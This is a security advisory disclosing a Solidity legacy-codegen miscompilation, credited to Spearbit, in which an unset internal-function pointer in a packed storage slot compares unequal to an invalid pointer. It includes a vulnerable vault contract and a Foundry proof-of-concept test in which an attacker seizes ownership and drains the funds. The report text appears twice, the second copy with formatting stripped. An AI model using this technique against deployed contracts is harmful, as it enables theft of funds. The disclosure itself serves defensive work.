Originally reported by Chris from Spearbit.
Summary
This issue is a compiler miscompilation in legacy (non-viaIR) codegen for packed storage reads of internal-function pointers. When the compiler loads a packed storage slot containing an unset internal-function pointer, it shifts the slot down to the field position but does not first mask the shifted word down to the pointer's 8-byte storage width. If any later packed neighbor in the same slot is non-zero, the shifted word becomes non-zero even though the internal-function field itself is still zero. The legacy path then skips the invalid-function sentinel normalization that should happen for an unset pointer, so equality against a default local invalid pointer flips from true to false. In contracts that use an unset storage hook as a safety gate, this can silently enable privileged state transitions that should remain unreachable.
Impact
A realistic worst-case impact is unauthorized activation of a privileged execution path, allowing an attacker to perform irreversible high-impact actions such as fund movement, role seizure, or upgrade control.
Description
vulnerable source pattern
address public pendingOwner;
function() internal postInit;
uint32 private phase = 1;
function acceptOwner() external {
function() internal invalid;
if (postInit == invalid) {
return;
}
owner = pendingOwner;
}
At the source level, postInit is unset and invalid is also unset, so the comparison should be true and acceptOwner() should return early. The bug appears because pendingOwner (20 bytes), postInit (8 bytes), and phase (4 bytes) pack into one slot, and the legacy compiler checks whether the shifted packed word is zero before truncating it back to the 8-byte internal-function width.
vulnerable legacy code shape
SLOAD
...
DIV
DUP1
ISZERO
PUSH [tag] 31
MUL
OR
PUSH FFFFFFFFFFFFFFFF
AND
The important ordering bug is that ISZERO runs before the AND 0xFFFFFFFFFFFFFFFF truncation. If a later packed field such as phase is non-zero, the pre-mask shifted word is non-zero even while the internal-function field itself is still raw zero, so the compiler skips replacing it with the invalid-function sentinel.
vulnerable code flow
attacker calls proposeOwner(attacker)
-> pendingOwner becomes non-zero
-> packed slot now holds [pendingOwner | postInit = 0 | phase = 1]
-> legacy code reads postInit by shifting but not masking to 8 bytes first
-> shifted word is non-zero because phase contaminates the read
-> invalid-function sentinel normalization is skipped
-> postInit == invalid becomes false
-> acceptOwner writes owner = pendingOwner
-> attacker calls sweep() and drains funds
The local Foundry PoC demonstrates that an unprivileged attacker can become owner and drain 1 ether from the vault even though postInit was never assigned. At the source level, acceptOwner() should return immediately because both postInit and the local invalid pointer are unset. The passing test shows that legacy codegen breaks that invariant in practice and turns the disabled path into an enabled one.
PoC
PoC contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
contract PackedInternalFunctionPointerVault {
address public owner;
address public pendingOwner;
function() internal postInit;
uint32 private phase = 1;
constructor() payable {
owner = msg.sender;
}
function proposeOwner(address newOwner) external {
pendingOwner = newOwner;
}
function acceptOwner() external {
function() internal invalid;
if (postInit == invalid) {
return;
}
owner = pendingOwner;
}
function sweep() external {
require(msg.sender == owner, "owner");
payable(msg.sender).transfer(address(this).balance);
}
}
PoC test
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
contract PackedInternalFunctionPointerVault {
address public owner;
address public pendingOwner;
function() internal postInit;
uint32 private phase = 1;
constructor() payable {
owner = msg.sender;
}
function proposeOwner(address newOwner) external {
pendingOwner = newOwner;
}
function acceptOwner() external {
function() internal invalid;
if (postInit == invalid) {
return;
}
owner = pendingOwner;
}
function sweep() external {
require(msg.sender == owner, "owner");
payable(msg.sender).transfer(address(this).balance);
}
}
contract PackedInternalFunctionPointerVaultTest is Test {
PackedInternalFunctionPointerVault internal vault;
address internal deployer = address(0xA11CE);
address internal attacker = address(0xBEEF);
function setUp() public {
vm.deal(deployer, 10 ether);
vm.prank(deployer);
vault = new PackedInternalFunctionPointerVault{value: 1 ether}();
}
function testPackedUnsetInternalFunctionPointerEnablesOwnerTakeover() public {
assertEq(vault.owner(), deployer, "unexpected initial owner");
assertEq(address(vault).balance, 1 ether, "unexpected initial vault balance");
vm.prank(attacker);
vault.proposeOwner(attacker);
assertEq(vault.pendingOwner(), attacker, "pending owner was not set");
vm.prank(attacker);
vault.acceptOwner();
assertEq(vault.owner(), attacker, "owner did not change");
uint256 attackerBalanceBefore = attacker.balance;
vm.prank(attacker);
vault.sweep();
assertEq(address(vault).balance, 0, "vault was not drained");
assertEq(attacker.balance, attackerBalanceBefore + 1 ether, "attacker did not receive funds");
}
}
Foundry config used
[profile.default]
src = "src"
out = "out"
libs = ["lib"]
solc_version = "0.8.24"
via_ir = false
optimizer = false
PoC Steps
- Create a Foundry project and add the contract, test, and config above.
- Compile with the legacy pipeline using
solc 0.8.24, via_ir = false, and optimizer = false.
- Run
forge test -vv --match-test testPackedUnsetInternalFunctionPointerEnablesOwnerTakeover.
- Observe that the attacker first sets
pendingOwner, then successfully calls acceptOwner(), and finally drains the vault with sweep().
PoC Results
The PoC was run locally with:
forge test -vv --match-test testPackedUnsetInternalFunctionPointerEnablesOwnerTakeover
Observed result:
testPackedUnsetInternalFunctionPointerEnablesOwnerTakeover() -> PASS
owner changed from the deployer to the attacker after acceptOwner()
- the attacker successfully called
sweep()
- the vault balance dropped from
1 ether to 0
- the attacker received the drained
1 ether
This is an end-to-end confirmation that the bug is not just a strange comparison artifact: in a realistic privileged-state pattern, it becomes a direct authorization bypass and fund theft path.
Originally reported by Chris from Spearbit.
Summary
This issue is a compiler miscompilation in legacy (non-
viaIR) codegen for packed storage reads of internal-function pointers. When the compiler loads a packed storage slot containing an unset internal-function pointer, it shifts the slot down to the field position but does not first mask the shifted word down to the pointer's 8-byte storage width. If any later packed neighbor in the same slot is non-zero, the shifted word becomes non-zero even though the internal-function field itself is still zero. The legacy path then skips the invalid-function sentinel normalization that should happen for an unset pointer, so equality against a default local invalid pointer flips from true to false. In contracts that use an unset storage hook as a safety gate, this can silently enable privileged state transitions that should remain unreachable.Impact
A realistic worst-case impact is unauthorized activation of a privileged execution path, allowing an attacker to perform irreversible high-impact actions such as fund movement, role seizure, or upgrade control.
Description
vulnerable source pattern
At the source level,
postInitis unset andinvalidis also unset, so the comparison should be true andacceptOwner()should return early. The bug appears becausependingOwner(20 bytes),postInit(8 bytes), andphase(4 bytes) pack into one slot, and the legacy compiler checks whether the shifted packed word is zero before truncating it back to the 8-byte internal-function width.vulnerable legacy code shape
The important ordering bug is that
ISZEROruns before theAND 0xFFFFFFFFFFFFFFFFtruncation. If a later packed field such asphaseis non-zero, the pre-mask shifted word is non-zero even while the internal-function field itself is still raw zero, so the compiler skips replacing it with the invalid-function sentinel.vulnerable code flow
The local Foundry PoC demonstrates that an unprivileged attacker can become
ownerand drain 1 ether from the vault even thoughpostInitwas never assigned. At the source level,acceptOwner()should return immediately because bothpostInitand the localinvalidpointer are unset. The passing test shows that legacy codegen breaks that invariant in practice and turns the disabled path into an enabled one.PoC
PoC contract
PoC test
Foundry config used
PoC Steps
solc 0.8.24,via_ir = false, andoptimizer = false.forge test -vv --match-test testPackedUnsetInternalFunctionPointerEnablesOwnerTakeover.pendingOwner, then successfully callsacceptOwner(), and finally drains the vault withsweep().PoC Results
The PoC was run locally with:
forge test -vv --match-test testPackedUnsetInternalFunctionPointerEnablesOwnerTakeoverObserved result:
testPackedUnsetInternalFunctionPointerEnablesOwnerTakeover()->PASSownerchanged from the deployer to the attacker afteracceptOwner()sweep()1 etherto01 etherThis is an end-to-end confirmation that the bug is not just a strange comparison artifact: in a realistic privileged-state pattern, it becomes a direct authorization bypass and fund theft path.